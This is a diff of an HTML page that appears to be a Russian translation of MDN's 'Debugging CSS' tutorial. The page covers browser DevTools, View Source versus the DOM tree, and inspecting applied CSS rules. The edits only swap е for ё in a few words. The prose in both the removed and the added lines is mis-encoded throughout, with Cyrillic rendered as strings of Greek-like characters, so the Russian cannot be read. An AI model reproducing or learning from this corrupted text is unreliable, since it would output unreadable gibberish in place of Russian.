Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ элСмСнту, Π½ΠΎ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ происходит, ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΎΡ‚ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠ³ΠΎ.</span></span> Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ с Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΎΡ‚Π»Π°Π΄ΠΈΡ‚ΡŒ CSS ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΊΠ°ΠΊ DevTools (инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°), Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ Π²ΠΎ всС соврСмСнныС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ происходит.</p>
<table class="learn-box standard-table">
<tbody>
@@ -24,9 +24,9 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS
<h2 id="Как_ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ_доступ_ΠΊ_DevTools_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°">Как ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ DevTools Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</h2>
-<p>Π‘Ρ‚Π°Ρ‚ΡŒΡ <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools</a> это ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠ΅ руководство ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰Π΅Π΅ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ инструмСнтам Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ. Π₯отя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒΒ Π² основном Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Π² ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈ поэтому инструмСнты, Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ Π² этот Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π±ΡƒΠ΄ΡƒΡ‚ Π²Π°ΠΌ Π·Π½Π°ΠΊΠΎΠΌΡ‹ большС всСго, стоит Π·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ доступ ΠΊ инструмСнтам ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ Ссли Π²Ρ‹ Π½Π°Π±Π»ΡŽΠ΄Π°Π΅Ρ‚Π΅ Ρ€Π°Π·Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ срСди Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
+<p>Π‘Ρ‚Π°Ρ‚ΡŒΡ <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools</a> это ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠ΅ руководство ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰Π΅Π΅ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ инструмСнтам Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ. Π₯отя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒΒ Π² основном Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Π² ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈ поэтому инструмСнты, Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ Π² этот Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π±ΡƒΠ΄ΡƒΡ‚ Π²Π°ΠΌ Π·Π½Π°ΠΊΠΎΠΌΡ‹ большС всСго, стоит Π·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ доступ ΠΊ инструмСнтам ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ Ссли Π²Ρ‹ Π½Π°Π±Π»ΡŽΠ΄Π°Π΅Ρ‚Π΅ Ρ€Π°Π·Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ срСди Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ„ΠΎΠΊΡƒΡΠΈΡ€ΠΎΠ²Π°Π»ΠΈΡΡŒ Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… областях ΠΏΡ€ΠΈ создании своих DevTools.</span></span> НапримСр Π² Firefox сущСствуСт нСсколько Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… инструмСнтов для Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с CSS Layout (Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΡ… Π²Π°ΠΌ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈΠ½ΡΠΏΠ΅ΠΊΡ†ΠΈΡŽ ΠΈ ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Layouts</a>, <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts">Flexbox</a>, ΠΈ <a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Shapes</a>. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, всС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ схоТиС Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ инструмСнты, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ для инспСкции свойств ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹Ρ… ΠΊ элСмСнтам Π½Π° вашСй страницС ΠΈ для выполнСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΊ Π½ΠΈΠΌ Π² Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅.</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ„ΠΎΠΊΡƒΡΠΈΡ€ΠΎΠ²Π°Π»ΠΈΡΡŒ Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… областях ΠΏΡ€ΠΈ создании своих DevTools.</span></span> НапримСр Π² Firefox сущСствуСт нСсколько Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… инструмСнтов для Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с CSS Layout (Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΡ… Π²Π°ΠΌ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈΠ½ΡΠΏΠ΅ΠΊΡ†ΠΈΡŽ ΠΈ ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Layouts</a>, <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts">Flexbox</a>, ΠΈ <a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Shapes</a>. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, всС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ схоТиС Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ инструмСнты, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ для инспСкции свойств ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Ρ… ΠΊ элСмСнтам Π½Π° вашСй страницС ΠΈ для выполнСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΊ Π½ΠΈΠΌ Π² Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅.</p>
<p>Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Firefox DevTools для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с CSS. Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это я Π±ΡƒΠ΄Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="https://mdn.github.io/css-examples/learn/inspecting/inspecting.html">Ρ„Π°ΠΉΠ» ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°</a>. Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π² Π½ΠΎΠ²ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ Ссли Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ваш DevTools ΠΊΠ°ΠΊ описано Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅, ссылка Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π΄Π°Π½Π° Π²Ρ‹ΡˆΠ΅.</p>
@@ -34,55 +34,55 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS
<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ±ΠΈΡ‚ΡŒ с Ρ‚ΠΎΠ»ΠΊΡƒ Π½ΠΎΠ²ΠΈΡ‡ΠΊΠΎΠ² Π² DevTools, </span></span>β€” <span class="tlid-translation translation" lang="ru"><span title=""> это Ρ€Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΊΠΎΠ³Π΄Π°</span></span> <a href="/en-US/docs/Tools/View_source">просматриваСтС источник</a> Π²Π΅Π±-страницы ΠΈΠ»ΠΈ смотритС Π½Π° HTML Ρ„Π°ΠΉΠ» ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ помСстили Π½Π° сСрвСр ΠΈ Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ Π½Π° <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">HTML ΠΏΠ°Π½Π΅Π»ΠΈ</a> DevTools. Π₯отя это выглядит ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‡Π΅Ρ€Π΅Π· View Source, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ отличия.</p>
-<p>Π’ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌ DOM Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠ³ ΡΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ»ΠΎΡ…ΠΎ-написанный HTML Π·Π° вас. Если Π²Ρ‹ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°ΠΊΡ€Ρ‹Π»ΠΈ элСмСнт, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π»ΠΈ <code>&lt;h2&gt;</code>, Π½ΠΎ Π·Π°ΠΊΡ€Ρ‹Π»ΠΈ <code>&lt;/h3&gt;</code>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠΉΠΌΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈ HTML Π² DOM Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ <code>&lt;h2&gt;</code> с <code>&lt;/h2&gt;</code>. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Ρ‚Π°ΠΊΠΆΠ΅ Π½ΠΎΡ€ΠΌΠ°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ вСсь HTML,Π° DOM Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Π»ΡŽΠ±Ρ‹Π΅ измСнСния сдСланныС Ρ‡Π΅Ρ€Π΅Π· JavaScript.</p>
+<p>Π’ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌ DOM Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠ³ ΡΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ»ΠΎΡ…ΠΎ-написанный HTML Π·Π° вас. Если Π²Ρ‹ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°ΠΊΡ€Ρ‹Π»ΠΈ элСмСнт, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π»ΠΈ <code>&lt;h2&gt;</code>, Π½ΠΎ Π·Π°ΠΊΡ€Ρ‹Π»ΠΈ <code>&lt;/h3&gt;</code>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠΉΠΌΡ‘Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈ HTML Π² DOM Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ <code>&lt;h2&gt;</code> с <code>&lt;/h2&gt;</code>. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Ρ‚Π°ΠΊΠΆΠ΅ Π½ΠΎΡ€ΠΌΠ°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ вСсь HTML,Π° DOM Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Π»ΡŽΠ±Ρ‹Π΅ измСнСния сдСланныС Ρ‡Π΅Ρ€Π΅Π· JavaScript.</p>
-<p>View Source ΠΆΠ΅ для сравнСния β€” это <span class="tlid-translation translation" lang="ru"><span title="">просто исходный ΠΊΠΎΠ΄ HTML, хранящийся Π½Π° сСрвСрС.Β </span></span><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#HTML_tree">HTML Π΄Π΅Ρ€Π΅Π²ΠΎ</a> Π² вашСм DevTools ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, <span class="tlid-translation translation" lang="ru"><span title="">Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ прСдставлСниС ΠΎΡ‚ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ происходит.</span></span></p>
+<p>View Source ΠΆΠ΅ для сравнСния β€” это <span class="tlid-translation translation" lang="ru"><span title="">просто исходный ΠΊΠΎΠ΄ HTML, хранящийся Π½Π° сСрвСрС.Β </span></span><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#HTML_tree">HTML Π΄Π΅Ρ€Π΅Π²ΠΎ</a> Π² вашСм DevTools ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, <span class="tlid-translation translation" lang="ru"><span title="">Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ прСдставлСниС ΠΎΡ‚ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ происходит.</span></span></p>
-<h2 id="Π˜Π½ΡΠΏΠ΅ΠΊΡ†ΠΈΡ_ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½ΠΎΠ³ΠΎ_CSS">Π˜Π½ΡΠΏΠ΅ΠΊΡ†ΠΈΡ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½ΠΎΠ³ΠΎ CSS</h2>
+<h2 id="Π˜Π½ΡΠΏΠ΅ΠΊΡ†ΠΈΡ_ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ³ΠΎ_CSS">Π˜Π½ΡΠΏΠ΅ΠΊΡ†ΠΈΡ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ³ΠΎ CSS</h2>
<p>Π’Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ элСмСнт Π½Π° вашСй страницС ΠΌΠΎΠΆΠ½ΠΎ Π»ΠΈΠ±ΠΎ ΠΏΡ€Π°Π²Ρ‹ΠΌ/ctrl-ΠΊΠ»ΠΈΠΊΠΎΠΌ ΠΏΠΎ Π½Π΅ΠΌΡƒ ΠΈ Π²Ρ‹Π±Ρ€Π°Π² <em>Inspect</em>, Π»ΠΈΠ±ΠΎ Π²Ρ‹Π±Ρ€Π°Π² Π΅Π³ΠΎ ΠΈΠ· Π΄Π΅Ρ€Π΅Π²Π° HTML Π² Π»Π΅Π²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ DevTools. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ элСмСнт с классом <code>box1</code>; это ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт Π½Π° страницС с Π±Π»ΠΎΠΊΠΎΠΌ, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌ Ρ€Π°ΠΌΠΊΠ°ΠΌΠΈ Π²ΠΎΠΊΡ€ΡƒΠ³ Π½Π΅Π³ΠΎ.</p>
<p><img alt="The example page for this tutorial with DevTools open." src="https://mdn.mozillademos.org/files/16606/inspecting1.png" style="border-style: solid; border-width: 1px; height: 1527px; width: 2278px;"></p>
-<p>Если Π²Ρ‹ посмотритС Π½Π° <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Rules_view">Rules view</a> справа ΠΎΡ‚ вашСго HTML, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ свойства ΠΈ значСния CSS ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹Π΅ ΠΊ элСмСнту. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°, Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹Π΅ ΠΊ классу <code>box1</code> ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ CSS ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСтся Π±Π»ΠΎΠΊΠΎΠΌ ΠΎΡ‚ ΠΏΡ€Π΅Π΄ΠΊΠΎΠ², Π² этом случаС ΠΎΡ‚ <code>&lt;body&gt;</code>. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² случаС, Ссли Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ примСняСтся ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π»ΠΈ. Π’ΠΏΠΎΠ»Π½Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ наслСдуСтся ΠΎΡ‚ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта ΠΈ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΅Π³ΠΎ Π² контСкстС этого элСмСнта.</p>
+<p>Если Π²Ρ‹ посмотритС Π½Π° <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Rules_view">Rules view</a> справа ΠΎΡ‚ вашСго HTML, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ свойства ΠΈ значСния CSS ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Π΅ ΠΊ элСмСнту. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°, Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Π΅ ΠΊ классу <code>box1</code> ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ CSS ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСтся Π±Π»ΠΎΠΊΠΎΠΌ ΠΎΡ‚ ΠΏΡ€Π΅Π΄ΠΊΠΎΠ², Π² этом случаС ΠΎΡ‚ <code>&lt;body&gt;</code>. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² случаС, Ссли Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ примСняСтся ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π»ΠΈ. Π’ΠΏΠΎΠ»Π½Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ наслСдуСтся ΠΎΡ‚ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта ΠΈ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΅Π³ΠΎ Π² контСкстС этого элСмСнта.</p>
